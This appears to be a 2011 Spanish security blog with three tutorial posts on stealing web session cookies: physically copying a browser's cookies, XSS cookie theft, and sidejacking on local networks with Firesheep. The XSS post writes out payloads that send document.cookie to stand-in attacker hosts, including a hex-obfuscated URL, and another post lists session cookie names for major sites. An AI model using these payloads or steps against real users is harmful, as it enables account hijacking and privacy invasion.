lunes, 28 de marzo de 2011

Sidejacking.

Repasemos, sabemos como robar los cookies de una computadora a la que tenemos acceso físico (link), sabemos como robarlas de una computadora que esta en otra parte del mundo (link); en esta ocasión les mostraré como es posible hacerlo desde una red local, es decir, la red de tu escuela, la red de tu casa o la de un cybercafé.

Para esto primero explicaré como funcionan este tipo de redes, intentando no meterme en términos tan técnicos...

En una red alámbrica todas las computadoras se conectan a un switch, del switch se conecta al modem y del modem se conecta al router (en el caso del internet casero, como el de infinitum, estos 3 se encuentran en un mismo aparato que puede ser llamado modem o router).

La red inalámbrica es similar, la única diferencia es que en vez de un cable, el medio por el cual viaja la información es el aire.


En el caso del internet inalámbrico, ya que el medio que usamos es el aire, éste es público, y alguien más puede hacer mal uso de él. La información que viaja en el aire cuando uno esta conectado a internet se conoce como paquetes; estos paquetes tienen un origen y un destino predefinido, pero pueden ser "interceptados" por otra tarjeta de red que este de por medio.

Esto lo podemos lograr con herramientas como Hamster & Ferret o Firesheep

- Tutorial de Hamster & Ferret cortesía de Zosemu?


Hamster & Ferret


Con Hamster & Ferret lo que ocurre es que se capturan los paquetes que son enviados de la computadora al router, algunos de estos paquetes contienen cookies de las sesiones, las cuales son filtradas por el Ferret para poderlas ver en tu navegador


Hamster & Ferret intenta capturar todos los paquetes que contengan cookies, por lo que como había mencionado anteriormente, no no sirven varios de ellos, y necesitamos concentrarnos específicamente en los cookies de sesión, para esto nos es más útil usar Firesheep.

Firesheep


Esta es una extensión de Firefox que recientemente cobro mucha popularidad entre los script kiddies, ya que bastaba con sólo descargarla, instalar la librería WinPcap (en windows), y sentarse, tomarse un café mientras las víctimas caen sin ningún esfuerzo

- link de descarga cortesía de Code Butler
- link de descarga de Winpcap en caso de que esten usando Windows, para que lo instalen primero

(Si tienen algún problema con la instalación pueden preguntarme cualquier cosa en los comentarios, aunque confío en que el proceso de instalación es bastante sencillo).


Firesheep, sólo captura los cookies de sesión de algunos sitios, por los que es necesario especificar que cookies son los necesarios para sesión, y es posible crear un "handler" en un javascript para detectar los cookies de sesión, este suele ser un largo proceso de prueba y error, pueden usar el editor de cookies que ya había mencionado Edit Cookies.

Pueden basarse en los siguientes ejemplos realizados por mi:


Una vez que sepan cuales son los cookies de sesión incluyen el handler en:

MacOSX -- > Application Support/Firefox/Profiles/[Usuario]/extensions/firesheep@codebutler.com/handlers/

Windows --> C:\Users\[Usuario]\AppData\Roaming\Mozilla\Firefox\Profiles\pjz5jouj.default\extensions\firesheep@codebutler.com\handlers

Pueden basarse en la siguiente plantilla


RECUERDEN: NO ME HAGO RESPONSABLE POR LAS ESTUPIDECES QUE PUEDAN COMETER; ESTO LO COMPARTO CON FINES EDUCATIVOS; además que es posible descubrir que persona fue el atacante usando las herramientas de Firesheep y Hamster & Ferret.



miércoles, 16 de marzo de 2011

XSS - Ataques de Cross-Site Scripting

La semana pasada aprendimos como robar las cookies de un navegador del cual tenemos acceso físico.
En esta ocasión les mostraré como es posible hacerlo de manera remota.

Los ataques de Cross-Site Scripting o XSS son ataques por medio de código (scripts) que son "inyectados" en las páginas para diversos propósitos.

Para empezar... ¿Qué es un script?

Existen distintos lenguajes de programación como C, C++, o Java que compilan su código para convertirlo en una aplicación en "código binario" (como los programas que utilizas normalmente), pero además hay un tipo de código que se "interpreta" en el momento de que alguna aplicación lo encuentra, a este se le llama script.

En esta ocasión hablaré especialmente de los scripts usados en las páginas de internet, que normalmente están en  javascript, que como mencionaba, es un código que es interpretado por tu navegador al entrar a una página, esto le sirve al navegador o browser para añadir más funciones (como aplicaciones en línea) además de la apariencia (que normalmente esta en HTML).












Para ver los scripts que contiene una página es posible ver el código fuente de esta, que en la mayoría de los navegadores se muestra realizando
click derecho --> ver código fuente de página.




























Ahora bien, cuando una página te dá sus cookies, generalmente las revisa por medio de un código de javascipt que envía los datos de tu cookie al servidor.

Para comprender mejor como funciona
Intenta lo siguiente...
introduce en la barra de dirección de tu navegador estando en cualquier sitio el siguiente código:

javascript:alert(document.cookie);


javascript:alert() --> nos indica un script de tipo javascript, la función alert nos despliega un texto específicado 
(ej. javascript:alert("Hola Mundo"); )


document.cookie --> nos indica las cookies almacenadas de la página.


Esto no sirve de mucho si no tenemos la computadora de forma física (y aunque la tuviéramos, tampoco nos serviría de mucho). Lo que hay que hacer es introducir o "inyectar" un script en alguna página para que esta capture los cookies y los redirija a un sitio que nos convenga.

algo así:

<script> document.location = 'http://evil.com/blah.cgi?cookie=' + document.cookie; </script>

esto, colocado en una página como www.facebook.com robaría todos los cookies del usuario que active este script, a veces es presionando un botón (clickjacking), al cargar una página, o incluso solamente pasando el mouse encima del link.

Como en el siguiente Ejemplo:

Ejemplo

usando

<a onMouseOver="alert(document.cookie);">Ejemplo</a>


Generalmente este código es insertado en espacios de texto, como los que existen para comentarios, o
posts en facebook o twitter. Aunque también es posible ocultarlo en un mensaje de correo, animaciones en flash, etc.

Existen 3 tipos de ataques XSS, persistentes, no persistentes y por DOM; los persistentes, son por ejemplo, mensajes maliciosos con código que se encuentran en foros, páginas de video, etc. Sólo te roban la cookie de la página en la que se encuentran y dejan de funcionar sólo cuando son borrados.

El tipo no persistente, son links que se envían por correo o por redes sociales, donde se incluye en parte del URL (la dirección del sitio) el script para que la persona piense que esta entrando a su sesión de usuario. Este tipo de ataques sólo funciona cuando la persona entra directamente haciendo click en el url y lucen algo así:

http://portal.example/index.php?sessionid=12312312& 
username=<script>document.location='http://attackerhost.example/cgi- 
bin/cookiesteal.cgi?'+document.cookie</script>

o, ya codificados en hexadecimal para ocultar el javascript.

http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E


Otro grave problema es que en el caso de páginas como twitter, han nacido servicios como bit.ly que encogen la URL para que no ocupe tanto espacio, sin embargo esto da oportunidad al atacante de ocultar mucho mejor su url modificado.

Los ataques de Cross-Site Scripting hasta la fecha son la vulnerabilidad de la cual padecen más páginas hasta la fecha, en el 2007 la empresa Symantec calculó que un 80% de las páginas de internet eran vulnerables a este tipo de ataques.

Incluso existe una base de datos de sitios expuestos con estas vulnerabilidades llamada XSSED.

Para parchar este tipo de vulnerabilidades, basta con que el sitio incluya un script en su servidores que verifique los posts antes de que sean enviados. 

En cuanto a usuarios normales, hay que evitar en especial los ataques no persistentes, tomando en cuenta en que tipo de páginas se entra, a donde llevan los links, o si se confía en la persona envió esa información.

Links de interés:

Tutorial básico de cookies
Tutorial básico de XSS
Más Información del XSS
Preguntas más frecuentes del XSS

UPDATE:
Me encontré un excelente tutorial cortesía de Lord Epsylon acerca de XSS, es algo largo pero viene muy bien explicado; link.


lunes, 7 de marzo de 2011

Cookies.. ¿Qué son y con qué se comen?


Una cookie, tambien conocida como web cookie, o browser cookie, es un pedazo de texto que se almacena en tu navegador (Safari, firefox, Google Chrome, etc), y puede ser usada para autentificarte en una sesión, guardar las preferencias o para revisar los artículos que guardas en tu "carrito de compras"; como este es un blog de seguridad informática nos enfocaremos principalmente a los cookies de autenticación.

NOTA: si se estaban preguntando, el nombre de cookie viene de "Magic Cookie" que consistía en información no importante que se pasaba de un programa a otro, que a su vez deriva su nombre de "fortune cookie" que son las populares galletas chinas que pretenden dictar la suerte de una persona.

¿Cómo Funcionan?

Primero se visita un sitio de internet
















Muchos sitios tienen la opción "Recordar sesión", "No cerrar sesión", etc., para "recordar" tu sesión, lo que hacen es simplemente guardar una cookie en tu navegador, estas cookies son cadenas de texto y suelen lucir algo así:


















El nombre indica el nombre de la cookie, generalmente va relacionado de acuerdo a su función como en este ejemplo se refiere a las preferencias de google.

El contenido es la cookie en sí, es una cadena de texto encriptada (o no), que indica distintas cosas dependiendo del tipo de cookie que sea; para las sesiones esta cookie es generada por el servidor como una clave de autenticación única que se relaciona con el usuario, en este ejemplo indica preferencias de google, como el idioma, el tamaño de la pantalla, etc.

Dominio, es el dominio de internet al que pertenece la cookie, (por ejemplo google.com)

La ruta, es la dirección del dominio de la cookie, (por ejemplo google.com/calendar)

Tipo de conexión, se refiere si acepta los protocolos HTTP o HTTPS, del cual hablaré más adelante.

La fecha de expiración dice cuando la cookie se volverá inválida y tendra que ser renovada (en mi experiencia, estas fechas van desde 1 día hasta años... me he llegado a encontrar cookies que caducan hasta el 2035!).


Pasar cookies de un navegador a otro de forma manual (Robar cookies).

Supongamos que tienes acceso físico a la computadora de alguien más,
¿Es posible conseguir las cookies de su navegador para que pueda acceder a sus sesiones?
- Por su puesto que sí.

Algunos navegadores muestran la opción de "exportar cookies" a un archivo de texto, esto es útil cuando piensas cambiarte de computadora y quieres que tus sesiones se vayan contigo... o si quieres "robar" la sesión de alguien más.

AVISO: como siempre, NO ME HAGO RESPONSABLE DE LAS ESTUPIDECES QUE SEAN CAPACES DE COMETER.

En Internet Explorer 8.0














Se hace click en Importar/Exportar -> Exportar a un Archivo -> Cookies -> La ruta y listo!

Para Chrome y Firefox, los datos de las cookies se encuentran en los siguientes directorios (en Windows)

Chrome --> C:\Users\"Nombre del Usuario"\AppData\Local\Google\Chrome\User Data\Default\
Firefox --> C:\Users\"Nombre del Usuario"\AppData\Roaming\Mozilla\Firefox\Profiles\User

Una vez que tienes el archivo de texto puedes manipularlo de cualquier forma, incluyendo copiarlo a una memoria USB. (Considero que este es un problema de seguridad sin resolver, puesto que no debería de darse acceso irrestringido a este tipo de documentos sin autenticarse como administrador).

Ya en tu propia computadora, procedemos a crear las nuevas cookies con los valores del archivo de texto, esto puede ser eligiendo la opción "importar" en varios navegadores, o bien, usando un editor de cookies para incluir solo las cookies que nos interesan (las cookies de sesión).

Para esto yo uso uno llamado Edit Cookies que es un add-on gratuito de firefox

















Copiamos el nombre, contenido, dominio y ruta de la cookie de la víctima y listo! podemos entrar a su sesión sin necesidad de introducir la contraseña.

Ahora bien, como antes explicaba, solo nos interesan las cookies de sesión; sin embargo el nombre que estas toman varían dependiendo del sitio que las crea; he aquí algunos nombres de cookies de sesión de sitios populares, (algunos necesitan más de 1 cookie para funcionar de forma correcta).

Twitter --> _twitter_sess , auth_token
Facebook --> xs , c_user
Windows Live --> MSPProf , MSPAuth , RPSAuth , NAP
Google --> SID , HSID

Espero que les haya gustado :) , la próxima semana hablaré sobre Cross-site Scripting (XSS) y Session Hijacking.